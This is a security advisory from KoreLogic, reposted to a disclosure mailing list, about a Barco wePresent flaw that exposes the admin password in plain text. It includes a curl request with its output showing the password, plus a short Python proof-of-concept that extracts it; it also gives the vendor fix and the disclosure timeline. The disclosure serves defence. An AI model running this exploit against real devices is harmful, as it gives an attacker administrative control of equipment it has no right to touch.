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<h1 class="m-title">KL-001-2020-005 : Barco wePresent Admin Credentials Exposed In Plain-text</h1>
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<em>From</em>: KoreLogic Disclosures via Fulldisclosure <fulldisclosure () seclists org>
<em>Date</em>: Fri, 20 Nov 2020 14:31:49 -0600
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<pre style="margin: 0em;">KL-001-2020-005 : Barco wePresent Admin Credentials Exposed In Plain-text
Title: Barco wePresent Admin Credentials Exposed In Plain-text
Advisory ID: KL-001-2020-005
Publication Date: 2020.11.20
Publication URL: <a rel="nofollow" href="https://korelogic.com/Resources/Advisories/KL-001-2020-005.txt">https://korelogic.com/Resources/Advisories/KL-001-2020-005.txt</a>
1. Vulnerability Details
Affected Vendor: Barco
Affected Product: wePresent WiPG-1600W
Affected Version: 2.5.1.8
Platform: Embedded Linux
CWE Classification: CWE-523: Unprotected Transport of Credentials
CVE ID: CVE-2020-28330
2. Vulnerability Description
An attacker armed with hardcoded API credentials from
KL-001-2020-004 (CVE-2020-28329) can issue an authenticated
query to display the admin password for the main web user
interface listening on port 443/tcp.
3. Technical Description
An authenticated request using the hardcoded credentials in
KL-001-2020-004 (CVE-2020-28329) to https://<IP>:4001/w1.0
will display the current admin password in clear text. An
attacker will now have the admin password on the device, and
can use the web interface to make any configuration changes
to the device using the web UI.
$ curl -k -u 'admin:[REDACTED]'
<a rel="nofollow" href="https://192.168.2.200:4001/w1.0">https://192.168.2.200:4001/w1.0</a> { "status": 200, "message":
"Get successful", "data": { "key": "/w1.0", "value": {
"ClientAccess":{
"EnableAirplay": true
}, "Configuration":{
"RestartSystem": false, "ShutdownSystem": false,
"SetAction": "NoAction", "SetActionUrl": ""
}, "DeviceInfo":{
"ArticleNumber": "Barco_Number",
"CurrentUptime": 58524, "InUse": false,
"ModelName": "WiPG-1600", "Sharing": false,
"Status": 0, "StatusMessage": "", "TotalUptime":
473871262, "TotalUsers": 0, "LoginCodeOption":
"Random", "LoginCode": "3746", "SystemPassword":
"W3Pr3s3nt", <- Admin password
... ...
4. Mitigation and Remediation Recommendation
The vendor has released an updated firmware (2.5.3.12) which
remediates the described vulnerability. Firmware and release
notes are available at:
<a rel="nofollow" href="https://www.barco.com/en/support/software/R33050104">https://www.barco.com/en/support/software/R33050104</a>
5. Credit
This vulnerability was discovered by Jim Becher (@jimbecher) of
KoreLogic, Inc.
6. Disclosure Timeline
2020.08.24 - KoreLogic submits vulnerability details to
Barco.
2020.08.25 - Barco acknowledges receipt and the intention
to investigate.
2020.09.21 - Barco notifies KoreLogic that this issue,
along with several others reported by KoreLogic,
will require more than the standard 45 business
day remediation timeline. Barco requests to delay
coordinated disclosure until 2020.12.11.
2020.09.23 - KoreLogic agrees to 2020.12.11 coordinated disclosure.
2020.09.25 - Barco informs KoreLogic of their intent to acquire
CVE number for this vulnerability.
2020.11.09 - Barco shares CVE number with KoreLogic and announces
their intention to release the updated firmware
ahead of schedule, on 2020.11.11. Request that KoreLogic
delay public disclosure until 2020.11.20.
2020.11.11 - Barco firmware release.
2020.11.20 - KoreLogic public disclosure.
7. Proof of Concept
The following is a basic Python function to return the admin password:
def get_admin_pw(host, port, adminpw):
apiuser = "admin"
apipw = "[REDACTED]"
url = "<a rel="nofollow" href="https://"">https://"</a>; + host + ":" + port + "/w1.0"
response = requests.get(url, auth=HTTPBasicAuth(apiuser, apipw), verify=False, timeout=3)
dict = response.json()
adminpw = dict['data']['value']['DeviceInfo']['SystemPassword']
return adminpw
The contents of this advisory are copyright(c) 2020
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
<a rel="nofollow" href="http://creativecommons.org/licenses/by-sa/4.0/">http://creativecommons.org/licenses/by-sa/4.0/</a>
KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
<a rel="nofollow" href="https://www.korelogic.com/about-korelogic.html">https://www.korelogic.com/about-korelogic.html</a>
Our public vulnerability disclosure policy is available at:
<a rel="nofollow" href="https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt">https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt</a>
</pre><p><strong>Attachment:
<a href="att-36/signature_asc.bin"><tt>signature.asc</tt></a></strong>
<em>Description:</em> OpenPGP digital signature</p>
<pre style="margin: 0em;">
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